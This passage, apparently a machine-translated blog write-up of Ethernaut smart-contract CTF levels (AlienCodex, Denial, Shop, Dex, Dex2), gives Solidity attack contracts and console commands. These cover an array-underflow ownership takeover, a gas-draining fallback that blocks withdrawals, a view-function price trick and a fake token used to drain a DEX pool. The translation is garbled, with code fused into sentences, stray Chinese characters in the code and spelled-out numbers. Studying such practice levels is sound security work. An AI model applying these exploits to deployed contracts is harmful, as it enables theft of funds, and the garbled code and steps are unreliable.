almacenada también está en (una ranura tiene 32 bits de largo y puede almacenar la dirección (20) + booleano (1)), actualmente 0 es falso. Slot1 almacena una matriz dinámica. Más precisamente, debería ser la longitud de la matriz dinámica. ¿Qué pasa con el contenido de subíndice específico? se almacenará en orden en la ranura, donde x es el índice de la matriz. Entonces representamos la ranura como:contactslot 0codexcodexkeccak256(bytes(1))+x

-----------------------------------------------------
| unused(11 bytes) |contact = false  |  0xda5b3Fb76C78b6EdEE6BE8F11a1c31EcfB02b272       | <- slot 0
-----------------------------------------------------
| codex length =0       | <- slot 1
-----------------------------------------------------
...
-----------------------------------------------------
| codex data[0]      | <- slot ??
-----------------------------------------------------

Ahora calculamos el espacio inicial de los datos del códice, que debe ser0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6

Calcular la ranura de datos inicial
Probemos primero la precisión. Debido contacted modifiera la existencia, primero modificamos la contactvariable. Llame await contact.make_contact(), verifique el valor de la ranura nuevamente, puede encontrar que la variable se ha modificado con éxito.
Modificado con éxito la variable de contacto
Guarde un valor para verlo y await contract.record("0x000000000000000000000000000000000000000000000000000000000000aaaa")probarlo. En este punto, se cambia la longitud de la ranura y también se modifican los datos almacenados.

prueba
Guarde otro valor para verlo y await contract.record("0x000000000000000000000000000000000000000000000000000000000000bbbb")probarlo. En este punto, se cambia la longitud de la ranura y también se modifican los datos almacenados.

éxito
Ahora esperamos modificar finalmente la ranura 0 modificando codexel datadesbordamiento resultante. Primero hacemos underflow llamando
tres veces seguidas . Todos los datos ingresados ​​previamente se pierden en este punto.await contract.retract()codex.length2**256-1

Modificar codex.length
¿Cuánto debe ser la oferta? debería 2**256-1-0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6+1ser Debido a que necesitamos avanzar un poco más después de llegar al final, se desbordará y volverá a la ranura 0. Encontramos un problema en el proceso de cálculo, es decir, javascript usará notación científica, lo que conducirá a la pérdida de precisión. Para simplificar, calculamos con remix, y el resultado es 35707666377435648211887908874984608119992236509074197713628505308453184860938.

Use remix para ayudar en el cálculo
Luego lo usamos await contract.revise('35707666377435648211887908874984608119992236509074197713628505308453184860938',player)para llamar, y la ranura original se sobrescribirá en este momento. Pero una inspección encontró que algo andaba mal, y el resultado corrió al frente. Parece que tenemos que volver a modificarlo, no se puede pasar directamente player, hay que pasarlo 0x0000000000000000000000000bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b.

inserte la descripción de la imagen aquí
Entrada await contract.revise('35707666377435648211887908874984608119992236509074197713628505308453184860938','0x0000000000000000000000000bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b'), esto es para completar 24 0 delante de la dirección, formando 24 4+40 4=256 bits o 32 bytes, para almacenar la dirección en la ubicación de almacenamiento correcta.
Reiniciar después de la modificación
En este punto, el propietario del contrato lo ha modificado con éxito.
Modificado con éxito
¡Envíe un ejemplo, este nivel es exitoso!
nivel de exito

Resumir

Tenga cuidado con el propietario (u otras variables importantes) y busque todas las posibilidades.


20 negación

Crear una instancia y analizar

De acuerdo con los pasos anteriores, cree una instancia de contrato con la dirección de contrato de 0xeb587746E66F008f686521669B5ea99735b1310B. El propósito de este nivel es bloquear ownerlos retiros. Veamos primero cuáles son los roles.

    function withdraw() public {
        uint amountToSend = address(this).balance.div(100);
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value:amountToSend}("");
        owner.transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = now;输入
        withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
    }

Cada vez que un usuario retire dinero, withdrawse llamará a la función, se retirará el 1% y se enviará a partner, y se enviará otro 1% a owner. Todo lo que podemos hacer es partnerdefinir funciones en el lateral para que los ownerpasos dados no se puedan realizar.

Sin embargo, el contrato está llamando cally adjuntando todo el gas. Repasemos la diferencia entre send, cally .transfer

  • Si la transferencia es anormal, la transferencia fallará y se lanzará una excepción, hay un límite de gas
  • Si el envío es anormal, la transferencia fallará, devolverá falso y no terminará la ejecución, hay un límite de gas
  • Si la llamada es anormal, la transferencia fallará, devolverá falso, no finalizará la ejecución y no habrá límite de gas

¡Entonces nuestro punto de partida es consumir todo su gas, y la falla de la luz no terminará la ejecución posterior!

¿Cómo consumirlo? Entonces echemos un vistazo a requirey assert.

  • assertconsumirá todo el gas restante y reanudará todas las operaciones
  • requirereembolsará todo el gas restante y devolverá un valor

Así que parece que podemos trabajar en assert.

Redacción de contrato de ataque

Atacar el contrato es muy simple, es incumplir assert(false)y revertir todo.

pragma solidity ^0.6.0;


contract attacker {

    constructor() public {
    }
    
    fallback() external payable {
        assert(false);
    }

}

interacción del contrato

Implemente el contrato de ataque en la dirección 0xF8fc486804A40d654CC7ea37B9fdae16D0A5d8a7.

Implementar el contrato de ataque
Ingrese await contract.setWithdrawPartner('0xF8fc486804A40d654CC7ea37B9fdae16D0A5d8a7')para establecer el contrato de ataque como un partnerrol.
establecer pareja
En este punto iniciamos una withdrawprueba. Enter await contract.withdraw(), resulta que falla por quedarse sin gasolina.
retirar llamada fallida
¡Envíe un ejemplo, este nivel es exitoso!
nivel de exito

Resumir

Como dice el viejo refrán, es difícil confiar en las interacciones contractuales.


21 tienda

Crear una instancia y analizar

De acuerdo con los pasos anteriores, cree una instancia de contrato con la dirección de contrato de 0xaF30cef990aD1D3b641Bad72562f62FF3A0977C7. El objetivo de este nivel es lograr una compra a un precio inferior al precio de venta. El segmento de código específico es el siguiente:

  function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price() >= price && !isSold) {
      isSold = true;
      price = _buyer.price();
    }
  }

El contrato le pide al usuario msg.sender(por lo que puede ser un contrato inteligente) una oferta, y si su price()función devuelve un resultado que excede el precio actual y el artículo aún no se vende, establecerá el precio de la oferta del usuario. Ahora parece que los resultados devueltos al pedirle al usuario que oferte dos veces son diferentes. Sin embargo, podemos ver Buyerque la interfaz price()del viewtipo es una función del tipo, lo que significa que la variable solo se puede leer y no se debe modificar, es decir, el estado del contrato actual no se puede cambiar. ¿Qué debemos hacer?

Entonces, ¿hay alguna manera de hacer que el viewmétodo devuelva valores diferentes dos veces? Actualmente, existen dos métodos:

  • Depender de los cambios en los contratos externos
  • Depender de los cambios en sus propias variables

Redacción de contrato de ataque

Cambios de estado de los contratos externos

Si viewel método de tipo se basa en el estado del contrato externo, la diferencia del valor devuelto se puede lograr sin modificación interrogando la variable externa.

También basado en remix, redactamos el contrato de la siguiente manera:

pragma solidity ^0.6.0;


interface Shop {
  function buy() external;
  function isSold() external view returns (bool);码
}

contract attacker {

    Shop shop;

    constructor(address _addr) public {
        shop = Shop(_addr);
    }

    function attack() public {
        shop.buy();
    }

    function price() external view returns (uint){
        if (!shop.isSold()){
            return 101;
        }else{
            return 99;
        }
    }

}

En este momento, dado que las variables del contrato han cambiado price()antes y después de la solicitud , podemos establecer reglas basadas en las variables, y este método es aplicable.ShopisSoldif

Cambios en variables propias

Si dependemos de variables como now, , timestampetc., es cierto que viewfunciones de diferente tipo darán resultados diferentes bajo diferentes bloques, sin embargo, bajo un mismo bloque, parece que sigue siendo difícil de distinguir.

Contamos con los siguientes contratos:

contract attacker2 {

    Shop shop;
    uint time;

    constructor(address _addr) public {
        shop = Shop(_addr);
        time = now;
    }

    function attack() public {
        shop.buy();
    }

    function price() external view returns (uint){
        return (130-(now-time));
    }

}

viewCuando se llama a una función de un tipo en diferentes momentos price, el valor devuelto es diferente. Sin embargo, en el mismo bloque, es difícil de distinguir, por lo que no es lo suficientemente aplicable.
115

106

interacción del contrato

Compruebe primero el estado actual del contrato.
El estado actual del contrato.
Implemente el contrato de ataque, la dirección del contrato es 0x8201E303702976dc3E203a4D3cDe244D522274bf.
Implementar el contrato de ataque
En este punto, llame priceal método y devuelva 101.
Obtener precio actual
Llame attackal método para atacar. Actualice el estado del contrato de destino después de llamar. En este punto, el artículo se ha vendido a 99.
Actualizar el estado del contrato de destino
¡Envíe un ejemplo, este nivel está completo!
¡Este nivel está completo!

Resumir

A veces pensamos en los problemas desde otro ángulo, que puede ser diferente de lo que normalmente entendemos.


22 Dex

Crear una instancia y analizar

De acuerdo con los pasos anteriores, cree una instancia de contrato con la dirección de contrato de 0x28B73f0b92f69A35c1645a56a11877b044de3366. Este nivel es una versión simplificada de DEX (intercambio descentralizado).

Análisis del contrato, solo hay dos contratos simbólicos en el contrato, uno es token1y el otro es token2.

  function setTokens(address _token1, address _token2) public onlyOwner {
    token1 = _token1;
    token2 = _token2;
  }

Y el contrato nos permite intercambiar según el tipo de cambio entre los tokens. El precio de intercambio es la relación entre la cantidad de las dos fichas.

  function getSwapPrice(address from, address to, uint amount) public view returns(uint){
    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
  }

Se ha encontrado un problema aquí , no lo incluiremos en la lista por el momento.
entonces ¿que debemos hacer? Es usar el tipo de cambio asimétrico aquí para lograr el arbitraje y vaciar los tokens en el grupo de negociación (un tipo es suficiente).

Ya swapque se ha limitado a solo dar vueltas token1y token2realizar transacciones. Entonces solo podemos comenzar con el tipo de cambio. Así que eso vuelve al problema que encontramos al principio, ¡el tipo de cambio es constante para una sola transacción! Para los intercambios descentralizados generales, habrá un concepto de deslizamiento, es decir, a medida que aumenta el volumen de transacciones, la diferencia entre el tipo de cambio teórico y el tipo de cambio real será cada vez mayor. Obviamente, no existe el concepto de deslizamiento en este contrato de nivel, lo que nos permite obtener una cantidad de intercambio mucho mayor que el valor real. Con algunos intercambios más, podemos vaciar rápidamente el grupo de transacciones.

interacción del contrato

Primero veamos la cantidad de tokens en el grupo de transacciones token1y nuestra cuenta.token2

Ver el grupo de transacciones actual y el saldo del usuario

token1Si queremos canjear los 10 que tenemos a mano token2, primero pasamos await contract.approve(contract.address,10)la autorización.
Autorizar
Luego cambiamos await contract.swap(token1,token2,10)10 por . Podemos obtener 10 según el tipo de cambio inicial . En este punto tenemos 0 , 20 , pero el intercambio ahora tiene 110 , 90 , si intercambiamos 10, ¡podemos obtener más de 10 ! ¡Esto es arbitraje!token1token21:1token2token1token2token1token2token2token1

Intercambio con éxito

La siguiente tabla muestra el proceso de arbitraje, en el que el tipo de cambio a menudo solo tiene una precisión de 1 decimal debido a la precisión limitada. La última vez que no convertimos completamente de acuerdo con el tipo de cambio, solo 110/2.4=45.83se convirtieron 46 ( ) y el resultado falló (porque el grupo de transacciones no tenía tantos). Más tarde, descubrí que puedes intercambiar directamente 45 monedas.

token1 del grupo de transacciones token2 del grupo de transacciones Tipo de cambio 1-2 Tipo de cambio 2-1 token de usuario1 usuario token2 cambio de divisas Token de usuario1 después del canje Token de usuario1 después del canje
100 100 1 1 10 10 token1 0 20
110 90 0.818 1.222 0 20 tokens2 veinticuatro 0
86 110 1.28 0.782 veinticuatro 0 token1 0 30
110 80 0.727 1.375 0 30 tokens2 41 0
69 110 1.694 0.627 41 0 token1 0 sesenta y cinco
110 45 0.409 2.44 0 sesenta y cinco tokens2 110 20

En este punto, ¡el grupo de transacciones token1se ha vaciado! ¡Envíe el nivel, este nivel es exitoso!
¡El nivel es exitoso!

Resumir

Cuando se trata de Dexeste tipo de Defiproyecto, los contratos inteligentes deben redactarse con precaución.


23 Dex2

Crear una instancia y analizar

De acuerdo con los pasos anteriores, cree una instancia de contrato con la dirección de contrato de 0xF8A6bcdD3B5297f489d22039F5d3D1e3D58570bA. Este nivel sigue siendo una versión simplificada de DEX (intercambio descentralizado).

A primera vista, esta pregunta no es diferente de la anterior. Pero en una inspección más cercana parece que falta algo.

  function swap(address from, address to, uint amount) public {
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swapAmount = getSwapAmount(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
  } 

La dirección de la moneda ya no se verifica, entonces, ¿podemos implementar nuestro propio contrato de token, proporcionar liquidez a través de métodos relacionados y eventualmente vaciar el grupo?

Escribir un contrato de ataque

Nos referimos al contrato en el contrato de destino SwappableTokeny escribimos el contrato de ataque de la siguiente manera:

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract SwappableTokenAttack is ERC20 {
  address private _dex;
  constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
  }

  function approve(address owner, address spender, uint256 amount) public returns(bool){
    require(owner != _dex, "InvalidApprover");
    super._approve(owner, spender, amount);
  }
}

Implementar el contrato, su dirección de contrato es0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e
implementar contrato

interacción del contrato

Primero implementamos approveel permiso de autorización, otorgando al contrato de destino permiso para 8 tokens de ataque.
aprobar permiso
Posteriormente, await contract.add_liquidity('0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e',1)agregamos el token de ataque al agregarlo DEX. El resultado falló, resultó que no estábamos contratados owner.
Error al agregar liquidez
¿Esto afecta? Sin efecto, podemos transferir dinero manualmente en el contrato de ataque.
transferencia manual
En este punto, obtengamos el tipo de cambio de la transferencia del token de ataque token1~ await contract.getSwapAmount('0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e',await contract.token1(),1), ¡y resulta que podemos vaciarlo todo token1!

inserte la descripción de la imagen aquí
¡ Luego comience la transacción, ingrese la await contract.swap('0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e',await contract.token1(),1)suma en sucesión await contract.swap('0x82c06a4a75b99f90B773B5e90bD8B5b9E18BFf6e',await contract.token2(),2)para realizar el vaciado del grupo de transacciones! ¡éxito! (La razón para token2usar 2 fichas de ataque es que nuestra tasa de cambio se ha reducido a 2 en este momento 1:50)

vaciado con éxito
¡Envíe el nivel, este nivel es exitoso!
Este nivel es exitoso

Resumir

Los contratos inteligentes están realmente llenos de lagunas. Si tiene tiempo, ¡debe estudiar el siguiente UniSwap!


Supongo que te gusta

Origin blog.csdn.net/weixin_43982484/article/details/125218458
Recomendado
Clasificación